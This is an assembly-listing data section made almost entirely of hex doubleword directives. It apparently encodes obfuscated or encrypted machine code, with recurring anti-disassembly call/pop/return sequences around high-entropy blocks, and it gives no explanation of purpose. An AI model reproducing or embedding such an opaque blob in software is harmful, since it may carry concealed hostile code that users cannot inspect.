		dd 893779A6h, 0D3199195h, 0BA5B07h, 66000000h, 8905C1BBh
		dd 0D30D258Dh, 0C233AD07h, 0D003E8D1h, 7504E983h, 69BD89F4h
		dd 6607D312h, 880DDF8Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F981C355h
		dd 22BB1079h, 2941958Bh, 0BD8B07D3h, 7D31AC5h, 37806CBBh
		dd 0A18D8B38h, 6A07D32Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0B68C355h, 331DBD29h
		dd 0BF0F07D3h, 0C28B50DBh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 3158188Bh, 0D31AC19Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 49B27413h
		dd 891BD83h, 0F0007D3h,	8184h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 323AD652h
		dd 2F957C91h, 8D89E87Fh, 7D32719h, 0AE9h, 13571000h, 1F7E4FDAh
		dd 0B7F6CFC4h, 0B8EBh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0CF6D75C3h, 4DB18D8Dh
		dd 0EE907D3h, 61000000h, 545ED61Eh, 0D4350E68h,	0A23E5EBh
		dd 0E1FFFC8Fh, 2E119D31h, 0BD8307D3h, 7D33311h,	0BA840F00h
		dd 0BB000003h, 73DB2094h, 9FD8D29h, 0BD8307D3h,	7D33311h
		dd 0BD840F01h, 29000003h, 0D32509BDh, 11BD8307h, 307D333h
		dd 374860Fh, 9D8B0000h,	7D30BE1h, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7BB38C31h
		dd 236C5E9Eh, 4800Fh, 52500000h, 8C665F5Bh, 85BD2BD9h
		dd 8007D31Bh, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 6FAC79C3h, 0BE945h, 0DD80000h, 7996EB4Fh
		dd 9BF7A6C7h, 0FC90ADFh, 0F484h, 85296000h, 7D3005Dh, 0C1858B61h
		dd 3307D314h, 0D31FF185h, 2D9D8907h, 5007D32Dh,	14E8h
		dd 0B6AE7900h, 0E05C2BF2h, 0A6DBD8F4h, 0A2663103h, 6646C19Ah
		dd 8A0F79h, 5B000000h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F51FC353h
		dd 0D67D9C65h, 0AB0AD733h, 6AD9BF0Fh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 4623C141h, 0FB23EE0h, 8668F8B7h, 8198A524h, 0DF792404h
		dd 6A6779h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D72DFCC3h, 174A7354h, 8B60E665h,	0D31FF58Dh
		dd 9706B907h, 0FF6156FEh, 0D3198195h, 6870F07h,	81000000h
		dd 0C7BE53DFh, 0C285893Dh, 0FC07DC4Eh, 17EE9h, 0B19D0900h
		dd 8B07D31Bh, 0D32BDDBDh, 0BA858B07h, 8B07DC4Eh, 1800C7F9h
		dd 0F000000h, 0B58BFEB7h, 7DC4EBEh, 1A19B509h, 858B07D3h
		dd 7D316FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	27C35747h, 3DF44354h, 89C93F05h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0C9CCCEDBh, 0B59D2B43h, 5107D301h, 0CF9B589h, 8B5F07D3h
		dd 0D314C185h, 89B52907h, 8907D331h, 8B500446h,	243489DAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 3FC35141h
		dd 6E97E38h, 5A000000h,	79907E26h, 0BAB5FFE9h, 6607DC4Eh
		dd 687A4ABFh, 4A22AA10h, 0A2799FBBh, 2434816Ah,	4A3DA9EFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8BC35242h
		dd 816657CFh, 8D3ECBE7h, 0DC4EC285h, 890FF807h,	2, 6690FE8Bh
		dd 5025FDBFh, 0CE860h, 0A5580000h, 5E098BEAh, 86C438E5h
		dd 52506EEAh, 585A310Fh, 0EE95Eh, 0BC090000h, 9BB94A35h
		dd 0ED25A749h, 3E769B30h, 6A9061h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5DE8BC3h, 8195FF12h
		dd 0E907D319h, 13h, 0B9E0B7B4h,	6410DC31h, 0BC268830h
		dd 0D9C73288h, 61345203h, 28D0Fh, 0DA8B0000h, 331185C7h
		dd 307D3h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0E12F17C3h, 0C5DC3476h, 83F88B66h
		dd 0DC4EC2BDh, 840F0007h, 52h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B0C35141h,	0C02E28B5h, 0F1B5891Ah
		dd 0E907D302h, 41h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0D9C35242h, 9C38166h,	0E38166BEh, 3050D8F4h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0AA9200F0h, 0FA8B6650h, 0AE95Bh,	6B8D0000h
		dd 9F52448Eh, 0C1C25299h, 0BD83F98Ah, 7D33311h,	80850F03h
		dd 53000003h, 5FF9E780h, 4EC2BD83h, 0F0007DCh, 36E84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 81660DC0h, 0FF1818DBh, 0DC4EC2B5h, 91BD3107h
		dd 0FF07D320h, 0D325F995h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8D9D0312h, 8B07D331h, 0D30291BDh, 0B6B58B07h, 6607DC4Eh
		dd 6C7FE8Bh, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0C7C35343h, 0F961F7Dh, 687h, 0F525000h
		dd 50585A31h, 48B0Fh, 0BF660000h, 6A96E8BEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0FE9FC350h, 0E847E9BDh, 14E402BAh, 8E9h, 15B11100h
		dd 9B94871h, 0C2B5FF8Ch, 0E807DC4Eh, 13h, 0A310B152h, 0E6733075h
		dd 18FCA532h, 7A083D09h, 0E8C9114Bh, 0Bh, 0F483733h, 91155164h
		dd 0F0E141Dh, 80h, 0FF5B5B00h, 0D3159195h, 0C9DB8107h
		dd 8B2B5F2Ah, 0DC4EB6B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B1D5EB1h
		dd 0D30109BDh, 0B9D38107h, 8B2D73D1h, 0D3031185h, 58B0F07h
		dd 66000000h, 9DE3D381h, 0C48689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B322FEC3h
		dd 0CFDC3631h, 6830F60h, 8B000000h, 0D30F1DB5h,	0C9958907h
		dd 6107D31Ah, 2941958Bh, 0C28307D3h, 399D0304h,	8907D31Bh
		dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 1E385FC3h, 34356E2Fh, 858D0615h, 7DC6181h
		dd 89FEB70Fh, 0B886h, 6AF500h, 0D6816660h, 0C28B8A30h
		dd 0E1BD8B61h, 0FF07D326h, 0DC4EC2B5h, 0FFFB8B07h, 0D3159995h
		dd 0FCF98B07h, 0FA8B6696h, 0BD239650h, 7D31A75h, 0F1B70F60h
		dd 0B5FF61FCh, 7DC4EC2h, 20BD9589h, 95FF07D3h, 7D33025h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 79C35343h
		dd 2C78BC76h, 3B16FB0Dh, 0E9BD83CBh, 7D316h, 16840Fh, 81660000h
		dd 66C349EFh, 6696F88Bh, 504339BBh, 0F96F88Bh, 0DF8BDBBFh
		dd 4EC2B5FFh, 8A0F07DCh, 6, 0A819D29h, 42B307D3h, 121595FFh
		dd 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0D432CFC3h, 0E960367Eh, 8, 6E016CA4h, 7225EAB7h
		dd 25F5BD03h, 0FF6107D3h, 0DC4EC2B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 840FFD5Fh, 19h, 9E8h, 0C30CAB00h, 0EE3548DDh, 5E9D611h
		dd 3A000000h, 2C6653DCh, 4D95FF5Bh, 5707D332h, 5FBAC780h
		dd 1341BD83h, 0F0207D3h, 5484h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6680B3A9h
		dd 858BFB8Bh, 7D3347Dh,	82F78166h, 0C643h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 91C35242h, 978E7C94h
		dd 0B70F0D96h, 5185C7DEh, 7D306h, 0E9000000h, 0FFFFF4F2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 69C35646h
		dd 28B0Fh, 18B30000h, 9D8BC18Bh, 7D31579h, 9E8h, 213D3800h
		dd 0C5831B81h, 0B70F7FFFh, 8D8B5ECBh, 7D30825h,	741FC681h
		dd 68F50000h, 0
		dd 68C0Fh, 0B5890000h, 7D3318Dh, 13E95Fh, 7F510000h, 0E1F2645Ah
		dd 0EECEEDE3h, 75947854h, 5CA2C87Bh, 3E148BC9h,	0F28112B0h
		dd 2E10964Eh, 0B77BCFBBh, 77F2816Ah, 0F6C8A14h,	0EA81CBB7h
		dd 16AC5C62h, 566AE981h, 0F5276C5h, 48FC8B7h, 17E3813Eh
		dd 2916146Ah, 0D3015195h, 50EF8107h, 8177975Ch,	0C86562D8h
		dd 4CC78107h, 8B77975Ch, 0A0FF81DEh, 0FFFFF8Ch,	0B85h
		dd 21E9F800h, 0B8000000h, 0BAA35F4Bh, 0E9C2D980h, 0FFFFFF95h
		dd 75D33A31h, 156357E0h, 4DF05C5Bh, 55C02F10h, 66D47A23h
		dd 0C8B78D8Dh, 6A07DDh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 1DC0A7C3h, 92EF8CCDh, 33C18D01h
		dd 0BF0F07D3h, 418D89C1h, 0E807D329h, 0Dh, 0E2636E35h
		dd 0A31B611Ch, 0F03309D6h, 2890F7Ah, 60000000h,	85C75861h
		dd 7D32BA1h, 5D8Ch, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0BBC35747h, 9B8C9911h, 1185C712h, 7D333h
		dd 0B2000000h, 0DB5FF30h, 0FF07D31Ch, 0D32D3D95h, 0EFDF8107h
		dd 8B0FEDB0h, 0D32B05B5h, 0FF006A07h, 0D3301995h, 0EBC08B07h
		dd 0DB92C348h, 0B10DB2F0h, 0B0D30739h, 6F29DFB3h, 0D7CE3498h
		dd 279A807Fh, 0DB3D1A8Fh, 32353495h, 0B15D2D52h, 0B24763E9h
		dd 777E778Ah, 0E679C792h, 19922928h, 3C0C56DDh,	0C5D26CFFh
		dd 0DBED9E28h, 7EED3E5h, 0C060914Eh, 0AC8D8D5Ch, 6A07DDC9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 28B2C357h, 8D89CE35h, 7D31EADh, 0D98D0956h
		dd 5A07D31Eh, 29418D89h, 858907D3h, 7D32569h, 2BA185C7h
		dd 5DC407D3h, 0B5030000h, 7D332BDh, 1FF5B58Bh, 85C707D3h
		dd 7D33311h, 0
		dd 2D29B5FFh, 9D8907D3h, 7D300F1h, 2D3D95FFh, 6A07D3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 42E241C3h, 0B9931663h, 98A2E32h, 0D30BC99Dh,	0F0816607h
		dd 6A01ACh, 301995FFh, 0C08B07D3h, 70271FEBh, 508A35FCh
		dd 0B9AA088Dh, 78C1D43Bh, 0AB0C93FBh, 0C2F56A74h, 7AE9463Ah
		dd 4C85D132h, 0DE83Ch, 671C0000h, 22D89B6h, 0F3C8B28Dh
		dd 89D1B24Ch, 0D325B195h, 870F5B07h, 0
aBKd		db 'kd',0
		align 2
		dw 0BB60h
		dd 787AE8CAh, 11E8h, 55610E00h,	0B7FE594Ah, 5A7BAFFAh
		dd 4A1F8468h, 8166F21Bh, 5B420BC2h, 0A046BA61h,	0C2812926h
		dd 0D6D978ADh, 3205BD8Bh, 38B07D3h, 2E3D8D09h, 0E88107D3h
		dd 4EBD17EFh, 0B58BF860h, 7D31275h, 0E5F08161h,	66424543h
		dd 0E881F38Bh, 639737FFh, 9D036050h, 7D31C49h, 7D9D281h
		dd 8F61652Bh, 83AFB503h, 8D8904EBh, 7D31A09h, 0B7850F4Ah
		dd 89FFFFFFh, 0D302CD8Dh, 0EE807h, 0FF30000h, 8BE8959h
		dd 8B5B1AA5h, 0B872BA38h, 31DBB66h, 0D18B665Fh,	6A3BC781h
		dd 95090000h, 7D32D39h,	9D8BC933h, 7D31FBDh, 890F048Bh
		dd 0D319918Dh, 68E88107h, 80709CD7h, 0F081EBDFh, 58B92D5Ch
		dd 1A298589h, 0C08107D3h, 2C96C20Fh, 0C4B7BE66h, 0BB0F0489h
		dd 1CC1254Bh, 12B1E281h, 0E98329A6h, 0C1958903h, 4907D31Eh
		dd 174D8D89h, 0F98107D3h, 0FFFF9674h, 0B850Fh, 32E90000h
		dd 0A7000000h, 6330858Dh, 10E9BCh, 4C140000h, 7B38B29Dh
		dd 7277DEADh, 31823333h, 89E9EF77h, 6EFFFFFFh, 0B90DCACBh
		dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 0D3746CB3h, 329F77CBh
		dd 50EBB628h, 9C9986D2h, 8A9EA660h, 0BA40606Bh,	52123002h
		dd 8D14221h, 56365888h,	56364280h, 5212031Dh, 0C3D1D343h
		dd 0A0EDE213h, 9B01BCFBh, 3C6CE780h, 56BA17A5h,	507F880Eh
		dd 52780601h, 5211EB56h, 0D328101h, 2E9B9FC2h, 16936425h
		dd 520B3425h, 5551801h,	2367E6C2h, 0D96BDAA9h, 8118A69Ch
		dd 0F3AF0206h, 52151322h, 523FE40Eh, 52783001h,	5211F056h
		dd 0D320C01h, 2E9B59C2h, 16930725h, 52098525h, 555C001h
		dd 9B8B94C2h, 7B6B6057h, 5003F130h, 0D3740C01h,	28106C7h
		dd 569B8BB6h, 212EB25h,	5212C3E9h, 914A4001h, 7656B959h
		dd 76569905h, 52121B05h, 91424601h, 7B291FFDh, 88E73F67h
		dd 5214430Eh, 0DF9B6001h, 55C11470h, 765E190Eh,	51266FFh
		dd 521205E9h, 914D2301h, 766E085Eh, 76564105h, 52127A05h
		dd 91457701h, 70B2CA68h, 0DBA3DC34h, 813CD39Ch,	0D01D5B06h
		dd 52128107h, 546F758Ah, 929167D2h, 4125A2Dh, 52121BE9h
		dd 914C2C01h, 76668F5Fh, 76568205h, 52129505h, 91448601h
		dd 381AEBD7h, 51FA6601h, 72121801h, 0DB4CCF5Fh,	0D3162275h
		dd 47162745h, 14128101h, 79D20357h, 0AE5AEB67h,	946F51BBh
		dd 47AF9171h, 3415DF1Dh, 0AD243F80h, 52DE870Eh,	52788101h
		dd 52112854h, 0F326001h, 3E9B6DC2h, 16931C25h, 520E0825h
		dd 7570601h, 9A3A4CC2h,	2EF082A8h, 93914DDDh, 120A08h
		dd 521233E9h, 91483801h, 7646855Bh, 76568705h, 52121E05h
		dd 9140C301h, 0EE6A6C95h, 0C2FB8C1Bh, 0D2EAC2FBh, 0D71DF138h
		dd 52120CEEh, 39C9CFBAh, 53538873h, 0BA44816Bh,	5212C002h
		dd 0CD13E21h, 56364488h, 56365C80h, 52120C14h, 1CD15047h
		dd 521DEBA8h, 8ED8101h,	0ED3A6CE5h, 0B87DEB01h,	59AD690Ch
		dd 47A731BEh, 915DF0Bh,	5E7B8388h, 9A1104D2h, 521295E8h
		dd 243BE401h, 38D0A5EDh, 706849B2h, 17D61516h, 88477DF9h
		dd 57D38570h, 74A3BE28h, 6B9386D2h, 0D9518B91h,	526BE50Eh
		dd 0DF9F3001h, 55C155B0h, 7C2B9922h, 51AA01D2h,	38120301h
		dd 51FAD101h, 7212C001h, 0DB4AA359h, 0D3161445h, 4B163C45h
		dd 12120C01h, 3EDAC551h, 827B5DE4h, 7C80B9BAh, 0A3A5CF13h
		dd 527881FEh, 5211D853h, 8321801h, 69B56C2h, 16930225h
		dd 52090725h, 508101h, 0AA982DC2h, 71BEED2Dh, 0B678FC2h
		dd 5BFA3028h, 92120C01h, 0B14D8D91h, 7D004FD2h,	611F3C08h
		dd 334CC7D2h, 521A8957h, 0AD4C3001h, 251D49DFh,	0DF4CC56Ch
		dd 8FD936BCh, 5C9F8E06h, 0EA155CCFh, 53804375h,	7C4FE532h
		dd 9D3937D2h, 0D3746CC0h, 329F77CBh, 50EBB628h,	9C9986D2h
		dd 8A9EA660h, 0BA40606Bh, 83123002h, 0A4F305E9h, 0EE9C08Bh
		dd 15000000h, 0C4176339h, 0FF71A287h, 0ECBFE44Bh, 0ADB5895Ch
		dd 8907D326h, 0D3199D8Dh, 8DC38B07h, 0DDCF038Dh, 81C68A07h
		dd 0DAB7FEAh, 418D8933h, 6A07D329h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FA47C355h
		dd 739E56DFh, 0B22F5274h, 35CE8160h, 803F21CCh,	0C76151DEh
		dd 0D32BA185h, 5DDC07h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0BC5FFE31h, 85C72BB3h
		dd 7D33311h, 0
		dd 26EDB5FFh, 5F5207D3h, 2D3D95FFh, 6A07D3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 422C9C3h
		dd 0E9B5295Fh, 5707D30Ch, 0FF006A58h, 0D3301995h, 0EBC08B07h
		dd 0D449961Fh, 564D06CFh, 16058BCh, 4582BF1Ah, 8E7D8456h
		dd 90DCB166h, 16E89357h, 6E7338FAh, 7E8h, 4B25BD00h, 2F8A1AAAh
		dd 665EE0B6h, 0DB3C081h, 721CC681h, 0B5890000h,	7D33361h
		dd 0B9h, 14E800h, 9FC40000h, 0E08E8FDBh, 752FEBF6h, 63DAEF24h
		dd 422DC92Eh, 0BA662374h, 8B581D43h, 81660E1Ch,	816D88D2h
		dd 501110EBh, 81D48A6Fh, 89A9C0EBh, 9E933h, 983A0000h
		dd 0C242FB19h, 81CD35D1h, 75552CF3h, 5D858B6Ah,	5307D300h
		dd 890E048Fh, 0D31825BDh, 0E7816607h, 0E98392DEh, 9BD8B02h
		dd 4907D331h, 81C28B49h, 0FF8E7CF9h, 0A8850FFFh, 89FFFFFFh
		dd 0D3187DB5h, 16E907h,	5C280000h, 2BA8h, 4 dup(0)
		dd 61AE9h, 40E000h, 343DAC0h, 0FB3BD7D5h, 541DFBDh, 0FA3AD5D3h
		dd 0BB813BEh, 2E2C2C6Ch, 46241450h, 292F316Dh, 0F3D0104Ch
		dd 14B1987Ch, 5A16F488h, 0ABE7C88Eh, 0F2D2ADAFh, 55DB3B22h
		dd 0F7D7A0F3h, 0C3F5DA16h, 0CE0C48E5h, 0C7F32FD0h, 0D40E4EE5h
		dd 4AE82DCAh, 0F3F9E90Eh, 11EAD818h, 0EE6AA940h, 9572BA53h
		dd 4B77B350h, 5553856Ah, 5A4080BCh, 575585C1h, 6A4979B5h
		dd 7F6F4EDFh, 817664A4h, 4872B24Dh, 0CEABB16Fh,	0E7C8A692h
		dd 0DB624ABh, 0C3E92CE7h, 0ABE7C1A5h, 0D78763EDh, 48D59A65h
		dd 5BFA1D4Eh, 55C56F43h, 7608EF96h, 0FB71C25Bh,	0DD86F867h
		dd 83h,	0C8A63107h, 87CEAEEAh, 0ECF355DBh, 0F6979583h
		dd 0C4AC80BAh, 9F8005E1h, 356190BEh, 0CB91571Bh, 1ACC0B57h
		dd 37BD0E9Fh, 194541D0h, 8, 92CEAC9Ah, 65D1CFA8h, 22ADEDC8h
		dd 0DB80C7ADh, 90E5F355h, 5A07E90h, 0F99795C5h,	3188F2BDh
		dd 5C6D08BDh, 0A12D1FE1h, 96F4B624h, 4B3D24F8h,	0CDA2F355h
		dd 94583A0Dh, 7150E9E4h, 7B67A37Dh, 71B14C7Ah, 92D2A9AFh
		dd 0E4E291Dh, 7F20FE12h, 0C8311543h, 0B3B9A9E9h, 0B2EE8FD8h
		dd 9AC8AF88h, 603B2BA4h, 21452220h, 34574989h, 82C25DA5h
		dd 7BB75856h, 85C55D3Fh, 59F07F55h, 9463B408h, 7374C3h
		dd 0C8B00000h, 0B3B9A9E9h, 33AB97D7h, 0B8220198h, 2B32A247h
		dd 77F5A38Ah, 82685898h, 84C05EA7h, 0DDD3CC56h,	7D63D126h
		dd 5F3D7D52h, 0DCCA85C1h, 0E5C20040h, 5C6B2933h, 48087CCDh
		dd 81E8C394h, 1C000000h, 0B9A9E9C8h, 13532A1Ch,	0EE2A0765h
		dd 6BA78569h, 873CA3ADh, 482AAF1Bh, 21DFAEEFh, 0E8C70F9Eh
		dd 9F1BB8A8h, 70CAEBADh, 916A5C3Fh, 90906555h, 0ADEDC8A4h
		dd 29694422h, 0D23C3C39h, 7CB85135h, 0D0E9AC7Ch, 7F84C4FFh
		dd 7C811BDEh, 781C4A8h,	977DF258h, 599E87B0h, 12A06015h
		dd 0D9AF2BA4h, 0B03DDE57h, 9D2C4F51h, 0C8FDE84Ch, 5D51C618h
		dd 0E97084C0h, 0CE599EBFh, 1DCF7A9h, 8000000h, 0AEACECC8h
		dd 0A793CFB0h, 206801CCh, 0F8B4484h, 0E6BA1CEh,	0CC40400Ah
		dd 420D0CEBh, 93138C72h, 0A68B637Ch, 0F6C6C2D6h, 0E1AC89ACh
		dd 3C264F75h, 27195532h, 3A286441h, 0DEADB742h,	0B568DACAh
		dd 21517110h, 677B1C9Bh, 0C756DB56h, 76629E7Fh,	5F5B9778h
		dd 7664A07Dh, 0E830C988h, 38CD0B47h, 8080BC56h,	659F1B91h
		dd 202FD2Eh, 0E5270000h, 9E1C9392h, 7816846Fh, 9EAD7E3Ch
		dd 92625F21h, 0F84EA041h, 0A9C5C2F0h, 6663D7B9h, 6C7A80EAh
		dd 0F0C4A07Ah, 7D772A69h, 524E294Eh, 0E5D59A24h, 67A77E70h
		dd 0AD6BAB87h, 0A692CEAFh, 0AFABE7C8h, 1B94D0ADh, 0CA50AD9Fh
		dd 86721E9Ah, 9627A29Ch, 4375B14Eh, 718DD85Ch, 0C6B835h
		dd 31EC0000h, 0DB8FD6A6h, 0DBF4F355h, 55DB52F9h, 193E37F3h
		dd 0DDDC1E67h, 0D7FA8252h, 0BE959DEEh, 9443D545h, 0C512391Bh
		dd 679367C4h, 366E10C7h, 0B16F089Eh, 0C1A38FE3h, 30962C27h
		dd 7A1B47h, 65483A5h, 62DAC666h, 0E16CDCEEh, 99F2C181h
		dd 43DCD07Eh, 685DC949h, 0EDED2906h, 0F13B10EFh, 3F2FC65Fh
		dd 340A381Fh, 0AEC50495h, 1B5F8A23h, 3AC1931Ch,	55020CBDh
		dd 223E5FDDh, 0C09AD0A4h, 72F08371h, 635DDADAh,	0A2F9698Ch
		dd 0FED017A8h, 0B34C423Eh, 0EA6031D3h, 12E78DECh, 284E4A25h
		dd 0BA6884Fh, 0C2FE9BCBh, 6DE19F98h, 0D8E6AD8h,	795CD329h
		dd 0EAF687h, 56E10000h,	60CEDF86h, 8A2C407h, 91F5A3CCh
		dd 1C9392E5h, 53D4F438h, 48FE8796h, 979B5F83h, 46DCA44Ch
		dd 4872FB81h, 3E653CFh,	2A8D8D13h, 0D4CD68AAh, 0A3557A54h
		dd 1A3E8C5h, 0CC08A1C5h, 82BE998Eh, 0A3AA8A05h,	85A8197h
		dd 0CAABB16Fh, 0D858548Eh, 0B39C45D1h, 0FB23EB2h, 224E4B1Fh
		dd 0B433711Bh, 36720FFFh, 526D2B0Ch, 569273BBh,	5756A16Ah
		dd 9C7757E0h, 97895E5Ch, 2A2A29Fh, 3ABA28C6h, 94CB3D30h
		dd 7467BFC1h, 498923C3h, 0D5BA46B4h, 0F78595FDh, 0AD6D3109h
		dd 0DA64A585h, 0E6C7A595h, 0FEB5B0AAh, 0B377310h, 0BA536E2Ah
		dd 0EE69688Fh, 24F2D574h, 2AD6B936h, 339DC7ADh,	858E45A6h
		dd 86E5DDD8h, 482517B6h, 0B723AC50h, 7E747583h,	7D48EE1h
		dd 482322Eh, 0F680E0Ah,	86CF6648h, 757270ACh, 0C6B29E5Ah
		dd 1C9392E5h, 76ABA38h,	17CCD58Dh, 0DDCD3FF3h, 514EE848h
		dd 0C58AE389h, 68E36A4Ah, 1AC84017h, 8ED28027h,	67193E64h
		dd 906E60F5h, 8F916654h, 0B0B0EC89h, 7FFCCDAAh,	70AC8605h
		dd 0F1F0DDF2h, 0CBE0DC06h, 0A689DD8Eh, 7D1039EFh, 0A9A0C0B4h
		dd 2F2D8C15h, 0CBD1114Dh, 0F0EEEC2Ch, 0B974D515h, 0DC5FE120h
		dd 0A2806E4Dh, 7D7B7C66h, 96C2FE9Fh, 7FBBF798h,	4727039Dh
		dd 37302A66h, 1CE93E25h, 0A5CAA393h, 89F9BEB5h,	90C388F6h
		dd 0FF827E0Eh, 26088F6Eh, 242B518Dh, 89931C13h,	593634E4h
		dd 0C8A61B1Dh, 18ADADEDh, 1C131D44h, 2ED8293h, 3B771816h
		dd 0C72FFh, 1C060000h, 38793FBBh, 299525BEh, 0E8C80B77h
		dd 0D3B4BAA8h, 0E8C1AB97h, 0CEB0AEACh, 0EBC6A892h, 0D2ADAFABh
		dd 0ECC6A892h, 0D0ACB2B0h, 0B14C5290h, 52917171h, 0BF57E289h
		dd 7D77396Fh, 814FDFF7h, 43EDAEFh, 6EFC17Ah, 4682EF81h
		dd 0EF811C5Dh, 0E3C4CB98h, 835FFA01h, 148704EAh, 0F8685C24h
		dd 89000078h, 90682404h, 8900000Dh, 5052242Ch, 0E51E1DB8h
		dd 58C2891Fh, 4E35EA81h, 0D0891807h, 2C8B545Ah,	4C48124h
		dd 68000000h, 2D12h, 8F240489h,	2C8B0845h, 0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 2434FF5Ch, 4C48358h
		dd 0F7FC5FE9h, 53E6F2FFh, 0BF575C50h, 567A9539h, 0B882E103h
		dd 7DDD572h, 0E0FFC503h, 33817D5Eh, 33FA4FDCh, 7E4A1A57h
		dd 60F8E13Fh, 0A9A7DEBh, 3ADE7C66h, 2AD55FF4h, 3E78A336h
		dd 5C25C2D9h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
		dd 0A90B3363h, 982633A9h, 5E265AF1h, 4B3EE2EFh,	0B44E6032h
		dd 67A5E4FFh, 4B2BC2F8h, 0F2A3BEA1h, 6721EF50h,	31A3BA79h
		dd 1B21E0FBh, 4B0216D7h, 1D293332h, 98263383h, 4E19B6C0h
		dd 1576347Bh, 45F002D6h, 0DD963AEh, 9FF51C7Dh, 98266483h
		dd 15235935h, 45F0721Fh, 1DAB634Ah, 9FFBE597h, 91B3CC03h
		dd 9321E09Bh, 0A1A23C14h, 1526336Ah, 45F072B0h,	0AACE639Dh
		dd 0D826334Dh, 0DFA3BEF6h, 0C821EE85h, 4E67B624h, 67763409h
		dd 4B2932FFh, 94E2B032h, 4E67B617h, 15763490h, 45F00223h
		dd 0DD96354h, 9FF51C00h, 9826513Dh, 74AD666Ah, 0CE746464h
		dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
		dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
		dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h
		dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h
		dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 45F01C88h,	0FCABBE9Dh
		dd 2021EE9Ah, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h
		dd 8DFFFFFFh, 0DDD764B5h, 838D8D07h, 2B07DDD7h,	5E983CFh
		dd 18D6C88Bh, 189BA421h, 40A1B67Fh, 226BACF5h, 936CFCE1h
		dd 2E362687h, 940908CFh, 0C3745BF2h, 2B76A4A1h,	935B2BF1h
		dd 8BA8AA7Bh, 0E5B2821h, 94B007FBh, 0CBEEFC0Dh,	0B4E79271h
		dd 0E76D2821h, 2BE57FE5h, 935B2BF1h, 8BA8AA7Bh,	0E5B2821h
		dd 94B00B0Ah, 0CBEEFC0Dh, 7B8A2F98h, 936D2FF1h
		dd 0CB7577D2h, 977F6B7Bh, 97896B73h, 93D62FE5h,	4AA87FB2h
		dd 0F9B3C3FBh, 903279F2h, 0B36D2FF2h, 1AE8ECACh, 125F0B86h
